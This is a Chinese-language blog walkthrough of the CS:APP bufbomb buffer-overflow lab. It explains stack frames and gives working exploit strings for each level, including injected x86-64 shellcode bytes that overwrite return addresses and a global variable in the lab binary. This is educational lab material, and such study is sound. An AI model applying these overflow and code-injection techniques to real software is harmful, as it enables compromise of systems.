csapp lab3 bufbomb 缓存区溢出攻击 《深入理解计算机系统》


这个实验主要是熟悉栈,和了解数据缓存区溢出的问题。

数据缓存区溢出:程序每次调用函数时,会把当前的eip指针保存在栈里面,作为被调用函数返回时的程序指针。在被调用程序里面,栈是向下增长的。所有局部变量都存储在栈里面(静态局部变量除外)。假设有一个字符串变量str,在str读取数据时,如果缓存区没有进行一定的保护,会造成缓存区的溢出。由于栈是向下增长的,但是对于一个变量,如str,他的数据存储顺序是向上增长的。所以当缓存区溢出时,可能对eip的返回指产生影响,可以通过输入,来改变eip指针的值,从而控制程序返回的地址。


 

Level 0: Candle


第一个实验,是通过数据缓存区溢出,来对程序进行修改。

 

程序是一个字符串的输入程序,如果输入超过40个,就会说输入错误。

试验一就是要通过查看程序的栈帧,进行缓存区溢出攻击,通过输入,改变程序的返回地址。

 

void test()
{
  unsigned long long val;
  volatile unsigned long long local = 0xdeadbeef;
  char* variable_length;
  entry_check(3);  /* Make sure entered this function properly */
  val = getbuf();
  if (val <= 40) {
	variable_length = alloca(val);
  }
  entry_check(3);
  /* Check for corrupted stack */
  if (local != 0xdeadbeef) {
	printf("Sabotaged!: the stack has been corrupted\n");
  }
  else if (val == cookie) {
	printf("Boom!: getbuf returned 0x%llx\n", val);
	if (local != 0xdeadbeef) {
	  printf("Sabotaged!: the stack has been corrupted\n");
	}
	validate(3);
  }
  else {
	printf("Dud: getbuf returned 0x%llx\n", val);
  }
}

 


unsigned long long getbuf()
{
  char buf[36];
  volatile char* variable_length;
  int i;
  unsigned long long val = (unsigned long long)Gets(buf);
  variable_length = alloca((val % 40) < 36 ? 36 : val % 40);
  for(i = 0; i < 36; i++)
  {
	variable_length[i] = buf[i];
  }
  return val % 40;
}


test函数调用getbuf()函数,来输入字符串。然后判断输入的字符串长度。

实验要求,输入一个字符串,然后是getbuf()完成后,跳转到smoke()函数,而不是test函数。


首先,进入getbuf函数,查看getbuf的栈帧。


可以看到,程序的返回地址存储在rip中,地址是:


也就是要通过输入,改变0x7fffffffb1a8地址中的值。

根据程序:

 

char buf[36];
  volatile char* variable_length;
  int i;
  unsigned long long val = (unsigned long long)Gets(buf);

 

 

我们的输入存在buf这个变量里面,查看buf这个变量的地址:


上面两个地址相减,就是:0xb1a8-0xb170=0x38=56

也就是我们要输入56个字符串,然后再输入想要转化的地址。


现在只要知道smoke的函数入口地址就可以了,

通过查看smoke的第一行的地址,就可以知道函数入口地址


知道smoke入口地址是0x4010c0

只要在最后输入0x4010c0就可以了,但是因为机器是小端法的机器,所以输入要反一下,要输入C0 10 40 00

综上最后的输入为:

 

30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 c0 10 40 00

前面56个输入,只要不要有换行符就行了

 

最后的结果:



成功调用了smoke


 

Level 1: Sparkler

Similar to Level 0, your task is to get bufbomb to execute the code for fizz() rather than returning to test. In this case, however, you must make it appear to fizz as if you have passed your cookie as its argument. You can do this by encoding your cookie in the appropriate place within your exploit string.


要求就是进入fizz函数,然后使cookie的值和val的值相同。

void fizz(int arg1, char arg2, long arg3,
    char* arg4, short arg5, short arg6, unsigned long long val)
{
    entry_check(1); /* Make sure entered this function properly */
    if (val == cookie)
    {
        printf("Fizz!: You called fizz(0x%llx)\n", val);
        validate(1);
    }
    else
    {
        printf("Misfire: You called fizz(0x%llx)\n", val);
    }
    exit(0);
}



直接通过改变val的值,使val的值和cookie的值相等,来解决问题。
这里具体的做法就是找到val的地址,然后通过写入的字符串来改变那个地址上面的值,此方法和实验一的过程比较像,就不展开了。


Level 2: Firecracker

Similar to Levels 0 and 1, your task is to get  bufbomb  to execute the code for  bang()  rather than returning to  test() . Before this, however, you must set global variable  global_value  to your cookie. Your exploit code should set  global_value , push the address of  bang()  on the stack, and then execute a  retq  instruction to cause a jump to the code for  bang() .

unsigned long long global_value = 0;

void bang(unsigned long long val)
{
    entry_check(2); /* Make sure entered this function properly */
    if (global_value == cookie)
    {
       printf("Bang!: You set global_value to 0x%llx\n", global_value);
       validate(2);
    }
    else
    {
        printf("Misfire: global_value = 0x%llx\n", global_value);
    }
    exit(0);
}

这个实验要求把getbuf函数结束之后,跳转到bang这个函数里面来,然后global_value的值需要和cookie一样。一开始我以为这个和前面第二个的实验差不多,后来gdb进去一看,global_value由于是全局变量,根本不在栈里面,像实验二一样,通过直接改global_value的值是不行的。
后来看了一下实验给的建议,知道是要让我在缓存区里面写一段代码,通过这段代码来改变变量的值。原来还能这么玩,太牛逼了。
首先,写一段汇编,是把global_value的地址里面的值改掉:
.data
.text
main:
MOVQ $0x602308 ,%rax
MOVQ $0x704537f05ce48c45 ,%rbx
movq %rbx,(%rax)
push $0x401020
ret

然后用gcc编译一下,在反汇编,得到他的二进制表示:

得到的反汇编文件:


只要把前面那些二进制代码作为输入,就可以了
最后的输入是:

 

 

48 c7 c0 08 23 60 00 48 bb 45 8c e4 5c f0 37 45 70 48 89 18 68 20 10 40 00 c3 00 c3 32 31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 00 00 00 02 03 04 20 23 60 00 00 70 b1 ff ff ff 7f 00 00  

在这里和第二个实验还有点不一样的地方就是把rip的地址改为了buf的首地址,这样,当getbuf函数返回的时候,会把这段代码作为返回地址,然后执行。

 

最后结果:


成功更改了global_value的值。

代码,数据,对计算机来说都是0,1而已,没有区别。


 

Extra Credit – Level 3: Dynamite

Your job for this level is to supply an exploit string that will cause  getbuf()  to return your cookie back to  test() , rather than the value 1. You can see in the code for  test()  that this will cause the program to go " Boom! "
oid test()
{
  unsigned long long val;
  volatile unsigned long long local = 0xdeadbeef;
  char* variable_length;
  entry_check(3);  /* Make sure entered this function properly */
  val = getbuf();
  if (val <= 40) {
	variable_length = alloca(val);
  }
  entry_check(3);
  /* Check for corrupted stack */
  if (local != 0xdeadbeef) {
	printf("Sabotaged!: the stack has been corrupted\n");
  }
  else if (val == cookie) {
	printf("Boom!: getbuf returned 0x%llx\n", val);
	if (local != 0xdeadbeef) {
	  printf("Sabotaged!: the stack has been corrupted\n");
	}
	validate(3);
  }
  else {
	printf("Dud: getbuf returned 0x%llx\n", val);
  }
}


 

这个实验就是让我把getbuf里面的返回值改成cookie的值,和上一个实验都是一样的,唯一需要注意的是,在程序里面有一个local的变量,用来检测栈地址有没有被改变。因为local的变量是通过rbp间接寻址得到的,所以在汇编程序里面需要改变rbp的值,使他指向正确的rbp;


写入的汇编代码如下:


然后把这些二进制的代码写入到字符串,写入的字符串为:

 

48 b8 45 8c e4 5c f0 37 45 70 48 bd d0 b1 ff ff ff 7f 00 00 68 f3 0e 40 00 c3 00 c3 32 31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 00 00 00 02 03 04 20 23 60 00 00 70 b1 ff ff ff 7f 00 00  


最后在gdb里面得到的结果:

 


总结:终于搞完这个东西了,汇编编程还真是麻烦,虽然只有几行,但是错误真是难找。记得第三个实验我传值的时候忘记掉了$符号,结果传进去的值不是立即数,而是间接地址上的数,因为这个错,弄了一晚上,一直以为是自己字符串输错了……真是蛋疼



版权声明:本文为博主原创文章,未经博主允许不得转载。

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM